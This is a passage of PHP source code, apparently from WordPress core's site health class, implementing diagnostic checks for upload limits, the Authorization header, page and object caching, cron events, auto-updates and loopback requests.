				__( 'The "%1$s" value is smaller than "%2$s"' ),
				'post_max_size',
				'upload_max_filesize'
			);
			$result['status'] = 'recommended';

			if ( 0 === wp_convert_hr_to_bytes( $post_max_size ) ) {
				$result['description'] = sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: 1: post_max_size, 2: upload_max_filesize */
						__( 'The setting for %1$s is currently configured as 0, this could cause some problems when trying to upload files through plugin or theme features that rely on various upload methods. It is recommended to configure this setting to a fixed value, ideally matching the value of %2$s, as some upload methods read the value 0 as either unlimited, or disabled.' ),
						'<code>post_max_size</code>',
						'<code>upload_max_filesize</code>'
					)
				);
			} else {
				$result['description'] = sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: 1: post_max_size, 2: upload_max_filesize */
						__( 'The setting for %1$s is smaller than %2$s, this could cause some problems when trying to upload files.' ),
						'<code>post_max_size</code>',
						'<code>upload_max_filesize</code>'
					)
				);
			}

			return $result;
		}

		return $result;
	}

	/**
	 * Tests if the Authorization header has the expected values.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function get_test_authorization_header() {
		$result = array(
			'label'       => __( 'The Authorization header is working as expected' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'The Authorization header is used by third-party applications you have approved for this site. Without this header, those apps cannot connect to your site.' )
			),
			'actions'     => '',
			'test'        => 'authorization_header',
		);

		if ( ! isset( $_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW'] ) ) {
			$result['label'] = __( 'The authorization header is missing' );
		} elseif ( 'user' !== $_SERVER['PHP_AUTH_USER'] || 'pwd' !== $_SERVER['PHP_AUTH_PW'] ) {
			$result['label'] = __( 'The authorization header is invalid' );
		} else {
			return $result;
		}

		$result['status']       = 'recommended';
		$result['description'] .= sprintf(
			'<p>%s</p>',
			__( 'If you are still seeing this warning after having tried the actions below, you may need to contact your hosting provider for further assistance.' )
		);

		if ( ! function_exists( 'got_mod_rewrite' ) ) {
			require_once ABSPATH . 'wp-admin/includes/misc.php';
		}

		if ( got_mod_rewrite() ) {
			$result['actions'] .= sprintf(
				'<p><a href="%s">%s</a></p>',
				esc_url( admin_url( 'options-permalink.php' ) ),
				__( 'Flush permalinks' )
			);
		} else {
			$result['actions'] .= sprintf(
				'<p><a href="%s" target="_blank" rel="noopener">%s<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
				__( 'https://developer.wordpress.org/rest-api/frequently-asked-questions/#why-is-authentication-not-working' ),
				__( 'Learn how to configure the Authorization header.' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			);
		}

		return $result;
	}

	/**
	 * Tests if a full page cache is available.
	 *
	 * @since 6.1.0
	 *
	 * @return array The test result.
	 */
	public function get_test_page_cache() {
		$description  = '<p>' . __( 'Page cache enhances the speed and performance of your site by saving and serving static pages instead of calling for a page every time a user visits.' ) . '</p>';
		$description .= '<p>' . __( 'Page cache is detected by looking for an active page cache plugin as well as making three requests to the homepage and looking for one or more of the following HTTP client caching response headers:' ) . '</p>';
		$description .= '<code>' . implode( '</code>, <code>', array_keys( $this->get_page_cache_headers() ) ) . '.</code>';

		$result = array(
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => wp_kses_post( $description ),
			'test'        => 'page_cache',
			'status'      => 'good',
			'label'       => '',
			'actions'     => sprintf(
				'<p><a href="%1$s" target="_blank" rel="noopener noreferrer">%2$s<span class="screen-reader-text"> %3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
				__( 'https://wordpress.org/documentation/article/optimization/#Caching' ),
				__( 'Learn more about page cache' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			),
		);

		$page_cache_detail = $this->get_page_cache_detail();

		if ( is_wp_error( $page_cache_detail ) ) {
			$result['label']  = __( 'Unable to detect the presence of page cache' );
			$result['status'] = 'recommended';
			$error_info       = sprintf(
			/* translators: 1: Error message, 2: Error code. */
				__( 'Unable to detect page cache due to possible loopback request problem. Please verify that the loopback request test is passing. Error: %1$s (Code: %2$s)' ),
				$page_cache_detail->get_error_message(),
				$page_cache_detail->get_error_code()
			);
			$result['description'] = wp_kses_post( "<p>$error_info</p>" ) . $result['description'];
			return $result;
		}

		$result['status'] = $page_cache_detail['status'];

		switch ( $page_cache_detail['status'] ) {
			case 'recommended':
				$result['label'] = __( 'Page cache is not detected but the server response time is OK' );
				break;
			case 'good':
				$result['label'] = __( 'Page cache is detected and the server response time is good' );
				break;
			default:
				if ( empty( $page_cache_detail['headers'] ) && ! $page_cache_detail['advanced_cache_present'] ) {
					$result['label'] = __( 'Page cache is not detected and the server response time is slow' );
				} else {
					$result['label'] = __( 'Page cache is detected but the server response time is still slow' );
				}
		}

		$page_cache_test_summary = array();

		if ( empty( $page_cache_detail['response_time'] ) ) {
			$page_cache_test_summary[] = '<span class="dashicons dashicons-dismiss"></span> ' . __( 'Server response time could not be determined. Verify that loopback requests are working.' );
		} else {

			$threshold = $this->get_good_response_time_threshold();
			if ( $page_cache_detail['response_time'] < $threshold ) {
				$page_cache_test_summary[] = '<span class="dashicons dashicons-yes-alt"></span> ' . sprintf(
					/* translators: 1: The response time in milliseconds, 2: The recommended threshold in milliseconds. */
					__( 'Median server response time was %1$s milliseconds. This is less than the recommended %2$s milliseconds threshold.' ),
					number_format_i18n( $page_cache_detail['response_time'] ),
					number_format_i18n( $threshold )
				);
			} else {
				$page_cache_test_summary[] = '<span class="dashicons dashicons-warning"></span> ' . sprintf(
					/* translators: 1: The response time in milliseconds, 2: The recommended threshold in milliseconds. */
					__( 'Median server response time was %1$s milliseconds. It should be less than the recommended %2$s milliseconds threshold.' ),
					number_format_i18n( $page_cache_detail['response_time'] ),
					number_format_i18n( $threshold )
				);
			}

			if ( empty( $page_cache_detail['headers'] ) ) {
				$page_cache_test_summary[] = '<span class="dashicons dashicons-warning"></span> ' . __( 'No client caching response headers were detected.' );
			} else {
				$headers_summary  = '<span class="dashicons dashicons-yes-alt"></span>';
				$headers_summary .= ' ' . sprintf(
					/* translators: %d: Number of caching headers. */
					_n(
						'There was %d client caching response header detected:',
						'There were %d client caching response headers detected:',
						count( $page_cache_detail['headers'] )
					),
					count( $page_cache_detail['headers'] )
				);
				$headers_summary          .= ' <code>' . implode( '</code>, <code>', $page_cache_detail['headers'] ) . '</code>.';
				$page_cache_test_summary[] = $headers_summary;
			}
		}

		if ( $page_cache_detail['advanced_cache_present'] ) {
			$page_cache_test_summary[] = '<span class="dashicons dashicons-yes-alt"></span> ' . __( 'A page cache plugin was detected.' );
		} elseif ( ! ( is_array( $page_cache_detail ) && ! empty( $page_cache_detail['headers'] ) ) ) {
			// Note: This message is not shown if client caching response headers were present since an external caching layer may be employed.
			$page_cache_test_summary[] = '<span class="dashicons dashicons-warning"></span> ' . __( 'A page cache plugin was not detected.' );
		}

		$result['description'] .= '<ul><li>' . implode( '</li><li>', $page_cache_test_summary ) . '</li></ul>';
		return $result;
	}

	/**
	 * Tests if the site uses persistent object cache and recommends to use it if not.
	 *
	 * @since 6.1.0
	 *
	 * @return array The test result.
	 */
	public function get_test_persistent_object_cache() {
		/**
		 * Filters the action URL for the persistent object cache health check.
		 *
		 * @since 6.1.0
		 *
		 * @param string $action_url Learn more link for persistent object cache health check.
		 */
		$action_url = apply_filters(
			'site_status_persistent_object_cache_url',
			/* translators: Localized Support reference. */
			__( 'https://wordpress.org/documentation/article/optimization/#persistent-object-cache' )
		);

		$result = array(
			'test'        => 'persistent_object_cache',
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'label'       => __( 'A persistent object cache is being used' ),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'A persistent object cache makes your site&#8217;s database more efficient, resulting in faster load times because WordPress can retrieve your site&#8217;s content and settings much more quickly.' )
			),
			'actions'     => sprintf(
				'<p><a href="%s" target="_blank" rel="noopener">%s<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
				esc_url( $action_url ),
				__( 'Learn more about persistent object caching.' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			),
		);

		if ( wp_using_ext_object_cache() ) {
			return $result;
		}

		if ( ! $this->should_suggest_persistent_object_cache() ) {
			$result['label'] = __( 'A persistent object cache is not required' );

			return $result;
		}

		$available_services = $this->available_object_cache_services();

		$notes = __( 'Your hosting provider can tell you if a persistent object cache can be enabled on your site.' );

		if ( ! empty( $available_services ) ) {
			$notes .= ' ' . sprintf(
				/* translators: Available object caching services. */
				__( 'Your host appears to support the following object caching services: %s.' ),
				implode( ', ', $available_services )
			);
		}

		/**
		 * Filters the second paragraph of the health check's description
		 * when suggesting the use of a persistent object cache.
		 *
		 * Hosts may want to replace the notes to recommend their preferred object caching solution.
		 *
		 * Plugin authors may want to append notes (not replace) on why object caching is recommended for their plugin.
		 *
		 * @since 6.1.0
		 *
		 * @param string   $notes              The notes appended to the health check description.
		 * @param string[] $available_services The list of available persistent object cache services.
		 */
		$notes = apply_filters( 'site_status_persistent_object_cache_notes', $notes, $available_services );

		$result['status']       = 'recommended';
		$result['label']        = __( 'You should use a persistent object cache' );
		$result['description'] .= sprintf(
			'<p>%s</p>',
			wp_kses(
				$notes,
				array(
					'a'      => array( 'href' => true ),
					'code'   => true,
					'em'     => true,
					'strong' => true,
				)
			)
		);

		return $result;
	}

	/**
	 * Returns a set of tests that belong to the site status page.
	 *
	 * Each site status test is defined here, they may be `direct` tests, that run on page load, or `async` tests
	 * which will run later down the line via JavaScript calls to improve page performance and hopefully also user
	 * experiences.
	 *
	 * @since 5.2.0
	 * @since 5.6.0 Added support for `has_rest` and `permissions`.
	 *
	 * @return array The list of tests to run.
	 */
	public static function get_tests() {
		$tests = array(
			'direct' => array(
				'wordpress_version'            => array(
					'label' => __( 'WordPress Version' ),
					'test'  => 'wordpress_version',
				),
				'plugin_version'               => array(
					'label' => __( 'Plugin Versions' ),
					'test'  => 'plugin_version',
				),
				'theme_version'                => array(
					'label' => __( 'Theme Versions' ),
					'test'  => 'theme_version',
				),
				'php_version'                  => array(
					'label' => __( 'PHP Version' ),
					'test'  => 'php_version',
				),
				'php_extensions'               => array(
					'label' => __( 'PHP Extensions' ),
					'test'  => 'php_extensions',
				),
				'php_default_timezone'         => array(
					'label' => __( 'PHP Default Timezone' ),
					'test'  => 'php_default_timezone',
				),
				'php_sessions'                 => array(
					'label' => __( 'PHP Sessions' ),
					'test'  => 'php_sessions',
				),
				'sql_server'                   => array(
					'label' => __( 'Database Server version' ),
					'test'  => 'sql_server',
				),
				'utf8mb4_support'              => array(
					'label' => __( 'MySQL utf8mb4 support' ),
					'test'  => 'utf8mb4_support',
				),
				'ssl_support'                  => array(
					'label' => __( 'Secure communication' ),
					'test'  => 'ssl_support',
				),
				'scheduled_events'             => array(
					'label' => __( 'Scheduled events' ),
					'test'  => 'scheduled_events',
				),
				'http_requests'                => array(
					'label' => __( 'HTTP Requests' ),
					'test'  => 'http_requests',
				),
				'rest_availability'            => array(
					'label'     => __( 'REST API availability' ),
					'test'      => 'rest_availability',
					'skip_cron' => true,
				),
				'debug_enabled'                => array(
					'label' => __( 'Debugging enabled' ),
					'test'  => 'is_in_debug_mode',
				),
				'file_uploads'                 => array(
					'label' => __( 'File uploads' ),
					'test'  => 'file_uploads',
				),
				'plugin_theme_auto_updates'    => array(
					'label' => __( 'Plugin and theme auto-updates' ),
					'test'  => 'plugin_theme_auto_updates',
				),
				'update_temp_backup_writable'  => array(
					'label' => __( 'Plugin and theme temporary backup directory access' ),
					'test'  => 'update_temp_backup_writable',
				),
				'available_updates_disk_space' => array(
					'label' => __( 'Available disk space' ),
					'test'  => 'available_updates_disk_space',
				),
			),
			'async'  => array(
				'dotorg_communication' => array(
					'label'             => __( 'Communication with WordPress.org' ),
					'test'              => rest_url( 'wp-site-health/v1/tests/dotorg-communication' ),
					'has_rest'          => true,
					'async_direct_test' => array( WP_Site_Health::get_instance(), 'get_test_dotorg_communication' ),
				),
				'background_updates'   => array(
					'label'             => __( 'Background updates' ),
					'test'              => rest_url( 'wp-site-health/v1/tests/background-updates' ),
					'has_rest'          => true,
					'async_direct_test' => array( WP_Site_Health::get_instance(), 'get_test_background_updates' ),
				),
				'loopback_requests'    => array(
					'label'             => __( 'Loopback request' ),
					'test'              => rest_url( 'wp-site-health/v1/tests/loopback-requests' ),
					'has_rest'          => true,
					'async_direct_test' => array( WP_Site_Health::get_instance(), 'get_test_loopback_requests' ),
				),
				'https_status'         => array(
					'label'             => __( 'HTTPS status' ),
					'test'              => rest_url( 'wp-site-health/v1/tests/https-status' ),
					'has_rest'          => true,
					'async_direct_test' => array( WP_Site_Health::get_instance(), 'get_test_https_status' ),
				),
			),
		);

		// Conditionally include Authorization header test if the site isn't protected by Basic Auth.
		if ( ! wp_is_site_protected_by_basic_auth() ) {
			$tests['async']['authorization_header'] = array(
				'label'     => __( 'Authorization header' ),
				'test'      => rest_url( 'wp-site-health/v1/tests/authorization-header' ),
				'has_rest'  => true,
				'headers'   => array( 'Authorization' => 'Basic ' . base64_encode( 'user:pwd' ) ),
				'skip_cron' => true,
			);
		}

		// Only check for caches in production environments.
		if ( 'production' === wp_get_environment_type() ) {
			$tests['async']['page_cache'] = array(
				'label'             => __( 'Page cache' ),
				'test'              => rest_url( 'wp-site-health/v1/tests/page-cache' ),
				'has_rest'          => true,
				'async_direct_test' => array( WP_Site_Health::get_instance(), 'get_test_page_cache' ),
			);

			$tests['direct']['persistent_object_cache'] = array(
				'label' => __( 'Persistent object cache' ),
				'test'  => 'persistent_object_cache',
			);
		}

		/**
		 * Filters which site status tests are run on a site.
		 *
		 * The site health is determined by a set of tests based on best practices from
		 * both the WordPress Hosting Team and web standards in general.
		 *
		 * Some sites may not have the same requirements, for example the automatic update
		 * checks may be handled by a host, and are therefore disabled in core.
		 * Or maybe you want to introduce a new test, is caching enabled/disabled/stale for example.
		 *
		 * Tests may be added either as direct, or asynchronous ones. Any test that may require some time
		 * to complete should run asynchronously, to avoid extended loading periods within wp-admin.
		 *
		 * @since 5.2.0
		 * @since 5.6.0 Added the `async_direct_test` array key for asynchronous tests.
		 *              Added the `skip_cron` array key for all tests.
		 *
		 * @param array[] $tests {
		 *     An associative array of direct and asynchronous tests.
		 *
		 *     @type array[] $direct {
		 *         An array of direct tests.
		 *
		 *         @type array ...$identifier {
		 *             `$identifier` should be a unique identifier for the test. Plugins and themes are encouraged to
		 *             prefix test identifiers with their slug to avoid collisions between tests.
		 *
		 *             @type string   $label     The friendly label to identify the test.
		 *             @type callable $test      The callback function that runs the test and returns its result.
		 *             @type bool     $skip_cron Whether to skip this test when running as cron.
		 *         }
		 *     }
		 *     @type array[] $async {
		 *         An array of asynchronous tests.
		 *
		 *         @type array ...$identifier {
		 *             `$identifier` should be a unique identifier for the test. Plugins and themes are encouraged to
		 *             prefix test identifiers with their slug to avoid collisions between tests.
		 *
		 *             @type string   $label             The friendly label to identify the test.
		 *             @type string   $test              An admin-ajax.php action to be called to perform the test, or
		 *                                               if `$has_rest` is true, a URL to a REST API endpoint to perform
		 *                                               the test.
		 *             @type bool     $has_rest          Whether the `$test` property points to a REST API endpoint.
		 *             @type bool     $skip_cron         Whether to skip this test when running as cron.
		 *             @type callable $async_direct_test A manner of directly calling the test marked as asynchronous,
		 *                                               as the scheduled event can not authenticate, and endpoints
		 *                                               may require authentication.
		 *         }
		 *     }
		 * }
		 */
		$tests = apply_filters( 'site_status_tests', $tests );

		// Ensure that the filtered tests contain the required array keys.
		$tests = array_merge(
			array(
				'direct' => array(),
				'async'  => array(),
			),
			$tests
		);

		return $tests;
	}

	/**
	 * Adds a class to the body HTML tag.
	 *
	 * Filters the body class string for admin pages and adds our own class for easier styling.
	 *
	 * @since 5.2.0
	 *
	 * @param string $body_class The body class string.
	 * @return string The modified body class string.
	 */
	public function admin_body_class( $body_class ) {
		$screen = get_current_screen();
		if ( 'site-health' !== $screen->id ) {
			return $body_class;
		}

		$body_class .= ' site-health';

		return $body_class;
	}

	/**
	 * Initiates the WP_Cron schedule test cases.
	 *
	 * @since 5.2.0
	 */
	private function wp_schedule_test_init() {
		$this->schedules = wp_get_schedules();
		$this->get_cron_tasks();
	}

	/**
	 * Populates the list of cron events and store them to a class-wide variable.
	 *
	 * @since 5.2.0
	 */
	private function get_cron_tasks() {
		$cron_tasks = _get_cron_array();

		if ( empty( $cron_tasks ) ) {
			$this->crons = new WP_Error( 'no_tasks', __( 'No scheduled events exist on this site.' ) );
			return;
		}

		$this->crons = array();

		foreach ( $cron_tasks as $time => $cron ) {
			foreach ( $cron as $hook => $dings ) {
				foreach ( $dings as $sig => $data ) {

					$this->crons[ "$hook-$sig-$time" ] = (object) array(
						'hook'     => $hook,
						'time'     => $time,
						'sig'      => $sig,
						'args'     => $data['args'],
						'schedule' => $data['schedule'],
						'interval' => isset( $data['interval'] ) ? $data['interval'] : null,
					);

				}
			}
		}
	}

	/**
	 * Checks if any scheduled tasks have been missed.
	 *
	 * Returns a boolean value of `true` if a scheduled task has been missed and ends processing.
	 *
	 * If the list of crons is an instance of WP_Error, returns the instance instead of a boolean value.
	 *
	 * @since 5.2.0
	 *
	 * @return bool|WP_Error True if a cron was missed, false if not. WP_Error if the cron is set to that.
	 */
	public function has_missed_cron() {
		if ( is_wp_error( $this->crons ) ) {
			return $this->crons;
		}

		foreach ( $this->crons as $id => $cron ) {
			if ( ( $cron->time - time() ) < $this->timeout_missed_cron ) {
				$this->last_missed_cron = $cron->hook;
				return true;
			}
		}

		return false;
	}

	/**
	 * Checks if any scheduled tasks are late.
	 *
	 * Returns a boolean value of `true` if a scheduled task is late and ends processing.
	 *
	 * If the list of crons is an instance of WP_Error, returns the instance instead of a boolean value.
	 *
	 * @since 5.3.0
	 *
	 * @return bool|WP_Error True if a cron is late, false if not. WP_Error if the cron is set to that.
	 */
	public function has_late_cron() {
		if ( is_wp_error( $this->crons ) ) {
			return $this->crons;
		}

		foreach ( $this->crons as $id => $cron ) {
			$cron_offset = $cron->time - time();
			if (
				$cron_offset >= $this->timeout_missed_cron &&
				$cron_offset < $this->timeout_late_cron
			) {
				$this->last_late_cron = $cron->hook;
				return true;
			}
		}

		return false;
	}

	/**
	 * Checks for potential issues with plugin and theme auto-updates.
	 *
	 * Though there is no way to 100% determine if plugin and theme auto-updates are configured
	 * correctly, a few educated guesses could be made to flag any conditions that would
	 * potentially cause unexpected behaviors.
	 *
	 * @since 5.5.0
	 *
	 * @return object The test results.
	 */
	public function detect_plugin_theme_auto_update_issues() {
		$mock_plugin = (object) array(
			'id'            => 'w.org/plugins/a-fake-plugin',
			'slug'          => 'a-fake-plugin',
			'plugin'        => 'a-fake-plugin/a-fake-plugin.php',
			'new_version'   => '9.9',
			'url'           => 'https://wordpress.org/plugins/a-fake-plugin/',
			'package'       => 'https://downloads.wordpress.org/plugin/a-fake-plugin.9.9.zip',
			'icons'         => array(
				'2x' => 'https://ps.w.org/a-fake-plugin/assets/icon-256x256.png',
				'1x' => 'https://ps.w.org/a-fake-plugin/assets/icon-128x128.png',
			),
			'banners'       => array(
				'2x' => 'https://ps.w.org/a-fake-plugin/assets/banner-1544x500.png',
				'1x' => 'https://ps.w.org/a-fake-plugin/assets/banner-772x250.png',
			),
			'banners_rtl'   => array(),
			'tested'        => '5.5.0',
			'requires_php'  => '5.6.20',
			'compatibility' => new stdClass(),
		);

		$mock_theme = (object) array(
			'theme'        => 'a-fake-theme',
			'new_version'  => '9.9',
			'url'          => 'https://wordpress.org/themes/a-fake-theme/',
			'package'      => 'https://downloads.wordpress.org/theme/a-fake-theme.9.9.zip',
			'requires'     => '5.0.0',
			'requires_php' => '5.6.20',
		);

		$test_plugins_enabled = wp_is_auto_update_forced_for_item( 'plugin', true, $mock_plugin );
		$test_themes_enabled  = wp_is_auto_update_forced_for_item( 'theme', true, $mock_theme );

		$ui_enabled_for_plugins = wp_is_auto_update_enabled_for_type( 'plugin' );
		$ui_enabled_for_themes  = wp_is_auto_update_enabled_for_type( 'theme' );
		$plugin_filter_present  = has_filter( 'auto_update_plugin' );
		$theme_filter_present   = has_filter( 'auto_update_theme' );

		if ( ( ! $test_plugins_enabled && $ui_enabled_for_plugins )
			|| ( ! $test_themes_enabled && $ui_enabled_for_themes )
		) {
			return (object) array(
				'status'  => 'critical',
				'message' => __( 'Auto-updates for plugins and/or themes appear to be disabled, but settings are still set to be displayed. This could cause auto-updates to not work as expected.' ),
			);
		}

		if ( ( ! $test_plugins_enabled && $plugin_filter_present )
			&& ( ! $test_themes_enabled && $theme_filter_present )
		) {
			return (object) array(
				'status'  => 'recommended',
				'message' => __( 'Auto-updates for plugins and themes appear to be disabled. This will prevent your site from receiving new versions automatically when available.' ),
			);
		} elseif ( ! $test_plugins_enabled && $plugin_filter_present ) {
			return (object) array(
				'status'  => 'recommended',
				'message' => __( 'Auto-updates for plugins appear to be disabled. This will prevent your site from receiving new versions automatically when available.' ),
			);
		} elseif ( ! $test_themes_enabled && $theme_filter_present ) {
			return (object) array(
				'status'  => 'recommended',
				'message' => __( 'Auto-updates for themes appear to be disabled. This will prevent your site from receiving new versions automatically when available.' ),
			);
		}

		return (object) array(
			'status'  => 'good',
			'message' => __( 'There appear to be no issues with plugin and theme auto-updates.' ),
		);
	}

	/**
	 * Runs a loopback test on the site.
	 *
	 * Loopbacks are what WordPress uses to communicate with itself to start up WP_Cron, scheduled posts,
	 * make sure plugin or theme edits don't cause site failures and similar.
	 *
	 * @since 5.2.0
	 *
	 * @return object The test results.
	 */
	public function can_perform_loopback() {
		$body    = array( 'site-health' => 'loopback-test' );
		$cookies = wp_unslash( $_COOKIE );
		$timeout = 10; // 10 seconds.
		$headers = array(
			'Cache-Control' => 'no-cache',
		);
		/** This filter is documented in wp-includes/class-wp-http-streams.php */
		$sslverify = apply_filters( 'https_local_ssl_verify', false );

		// Include Basic auth in loopback requests.
		if ( isset( $_SERVER['PHP_AUTH_USER'] ) && isset( $_SERVER['PHP_AUTH_PW'] ) ) {
			$headers['Authorization'] = 'Basic ' . base64_encode( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) . ':' . wp_unslash( $_SERVER['PHP_AUTH_PW'] ) );
		}

		$url = site_url( 'wp-cron.php' );

		/*
		 * A post request is used for the wp-cron.php loopback test to cause the file
		 * to finish early without triggering cron jobs. This has two benefits:
		 * - cron jobs are not triggered a second time on the site health page,
		 * - the loopback request finishes sooner providing a quicker result.
		 *
		 * Using a POST request causes the loopback to differ slightly to the standard
		 * GET request WordPress uses for wp-cron.php loopback requests but is close
		 * enough. See https://core.trac.wordpress.org/ticket/52547
		 */
		$r = wp_remote_post( $url, compact( 'body', 'cookies', 'headers', 'timeout', 'sslverify' ) );

		if ( is_wp_error( $r ) ) {
			return (object) array(
				'status'  => 'critical',
				'message' => sprintf(
					'%s<br>%s',
					__( 'The loopback request to your site failed, this means features relying on them are not currently working as expected.' ),
					sprintf(
						/* translators: 1: The WordPress error message. 2: The WordPress error code. */
						__( 'Error: %1$s (%2$s)' ),
						$r->get_error_message(),
						$r->get_error_code()
					)
				),
			);
		}

		if ( 200 !== wp_remote_retrieve_response_code( $r ) ) {
			return (object) array(
				'status'  => 'recommended',
				'message' => sprintf(
					/* translators: %d: The HTTP response code returned. */
					__( 'The loopback request returned an unexpected http status code, %d, it was not possible to determine if this will prevent features from working as expected.' ),
					wp_remote_retrieve_response_code( $r )
				),
			);
		}

		return (object) array(
			'status'  => 'good',
			'message' => __( 'The loopback request to your site completed successfully.' ),
		);
	}

	/**
	 * Creates a weekly cron event, if one does not already exist.
	 *
	 * @since 5.4.0
	 */
	public function maybe_create_scheduled_event() {
		if ( ! wp_next_scheduled( 'wp_site_health_scheduled_check' ) && ! wp_installing() ) {
			wp_schedule_event( time() + DAY_IN_SECONDS, 'weekly', 'wp_site_health_scheduled_check' );
		}
	}

	/**
	 * Runs the scheduled event to check and update the latest site health status for the website.
	 *
	 * @since 5.4.0
	 */
	public function wp_cron_scheduled_check() {
		// Bootstrap wp-admin, as WP_Cron doesn't do this for us.
		require_once trailingslashit( ABSPATH ) . 'wp-admin/includes/admin.php';

		$tests = WP_Site_Health::get_tests();

		$results = array();

		$site_status = array(
			'good'        => 0,
			'recommended' => 0,
			'critical'    => 0,
		);

		// Don't run https test on development environments.
		if ( $this->is_development_environment() ) {
			unset( $tests['async']['https_status'] );
		}

		foreach ( $tests['direct'] as $test ) {
			if ( ! empty( $test['skip_cron'] ) ) {
				continue;
			}

			if ( is_string( $test['test'] ) ) {
				$test_function = sprintf(
					'get_test_%s',
					$test['test']
				);

				if ( method_exists( $this, $test_function ) && is_callable( array( $this, $test_function ) ) ) {
					$results[] = $this->perform_test( array( $this, $test_function ) );
					continue;
				}
			}

			if ( is_callable( $test['test'] ) ) {
				$results[] = $this->perform_test( $test['test'] );
			}
		}

		foreach ( $tests['async'] as $test ) {
			if ( ! empty( $test['skip_cron'] ) ) {
				continue;
			}

			// Local endpoints may require authentication, so asynchronous tests can pass a direct test runner as well.
			if ( ! empty( $test['async_direct_test'] ) && is_callable( $test['async_direct_test'] ) ) {
				// This test is callable, do so and continue to the next asynchronous check.
				$results[] = $this->perform_test( $test['async_direct_test'] );
				continue;
			}

			if ( is_string( $test['test'] ) ) {
				// Check if this test has a REST API endpoint.
				if ( isset( $test['has_rest'] ) && $test['has_rest'] ) {
					$result_fetch = wp_remote_get(
						$test['test'],
						array(
							'body' => array(
								'_wpnonce' => wp_create_nonce( 'wp_rest' ),
							),
						)
					);
				} else {
					$result_fetch = wp_remote_post(
						admin_url( 'admin-ajax.php' ),
						array(
							'body' => array(
								'action'   => $test['test'],
								'_wpnonce' => wp_create_nonce( 'health-check-site-status' ),
							),
						)
					);
				}

				if ( ! is_wp_error( $result_fetch ) && 200 === wp_remote_retrieve_response_code( $result_fetch ) ) {
					$result = json_decode( wp_remote_retrieve_body( $result_fetch ), true );
				} else {
					$result = false;
				}

				if ( is_array( $result ) ) {
					$results[] = $result;
				} else {
					$results[] = array(
						'status' => 'recommended',
						'label'  => __( 'A test is unavailable' ),
					);
				}
			}
		}

		foreach ( $results as $result ) {
			if ( 'critical' === $result['status'] ) {
				++$site_status['critical'];
			} elseif ( 'recommended' === $result['status'] ) {
				++$site_status['recommended'];
			} else {
				++$site_status['good'];
			}
		}

		set_transient( 'health-check-site-status-result', wp_json_encode( $site_status ) );
	}

	/**
	 * Checks if the current environment type is set to 'development' or 'local'.
	 *
	 * @since 5.6.0
	 *
	 * @return bool True if it is a development environment, false if not.
	 */
	public function is_development_environment() {
		return in_array( wp_get_environment_type(), array( 'development', 'local' ), true );
	}

	/**
	 * Returns a list of headers and its verification callback to verify if page cache is enabled or not.
	 *
	 * Note: key is header name and value could be callable function to verify header value.
	 * Empty value mean existence of header detect page cache is enabled.
	 *
	 * @since 6.1.0
	 *
	 * @return array List of client caching headers and their (optional) verification callbacks.
	 */
	public function get_page_cache_headers() {

		$cache_hit_callback = static function ( $header_value ) {
			return str_contains( strtolower( $header_value ), 'hit' );
		};

		$cache_headers = array(
			'cache-control'          => static function ( $header_value ) {
				return (bool) preg_match( '/max-age=[1-9]/', $header_value );
			},
			'expires'                => static function ( $header_value ) {
				return strtotime( $header_value ) > time();
			},
			'age'                    => static function ( $header_value ) {
				return is_numeric( $header_value ) && $header_value > 0;
			},
			'last-modified'          => '',
			'etag'                   => '',
			'x-cache-enabled'        => static function ( $header_value ) {
				return 'true' === strtolower( $header_value );
			},
			'x-cache-disabled'       => static function ( $header_value ) {
				return ( 'on' !== strtolower( $header_value ) );
			},
			'x-srcache-store-status' => $cache_hit_callback,
			'x-srcache-fetch-status' => $cache_hit_callback,
		);

		/**
		 * Filters the list of cache headers supported by core.
		 *
		 * @since 6.1.0
		 *
		 * @param array $cache_headers Array of supported cache headers.
		 */
		return apply_filters( 'site_status_page_cache_supported_cache_headers', $cache_headers );
	}

	/**
	 * Checks if site has page cache enabled or not.
	 *
	 * @since 6.1.0
	 *
	 * @return WP_Error|array {
	 *     Page cache detection details or else error information.
	 *
	 *     @type bool    $advanced_cache_present        Whether a page cache plugin is present.
	 *     @type array[] $page_caching_response_headers Sets of client caching headers for the responses.
	 *     @type float[] $response_timing               Response timings.
	 * }
	 */
	private function check_for_page_caching() {

		/** This filter is documented in wp-includes/class-wp-http-streams.php */
		$sslverify = apply_filters( 'https_local_ssl_verify', false );

		$headers = array();

		/*
		 * Include basic auth in loopback requests. Note that this will only pass along basic auth when user is
		 * initiating the test. If a site requires basic auth, the test will fail when it runs in WP Cron as part of
		 * wp_site_health_scheduled_check. This logic is copied from WP_Site_Health::can_perform_loopback().
		 */
		if ( isset( $_SERVER['PHP_AUTH_USER'] ) && isset( $_SERVER['PHP_AUTH_PW'] ) ) {
			$headers['Authorization'] = 'Basic ' . base64_encode( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) . ':' . wp_unslash( $_SERVER['PHP_AUTH_PW'] ) );
		}

		$caching_headers               = $this->get_page_cache_headers();
		$page_caching_response_headers = array();
		$response_timing               = array();

		for ( $i = 1; $i <= 3; $i++ ) {
			$start_time    = microtime( true );
			$http_response = wp_remote_get( home_url( '/' ), compact( 'sslverify', 'headers' ) );
			$end_time      = microtime( true );

			if ( is_wp_error( $http_response ) ) {
				return $http_response;
			}
			if ( wp_remote_retrieve_response_code( $http_response ) !== 200 ) {
				return new WP_Error(
					'http_' . wp_remote_retrieve_response_code( $http_response ),
					wp_remote_retrieve_response_message( $http_response )
				);
			}

			$response_headers = array();

			foreach ( $caching_headers as $header => $callback ) {
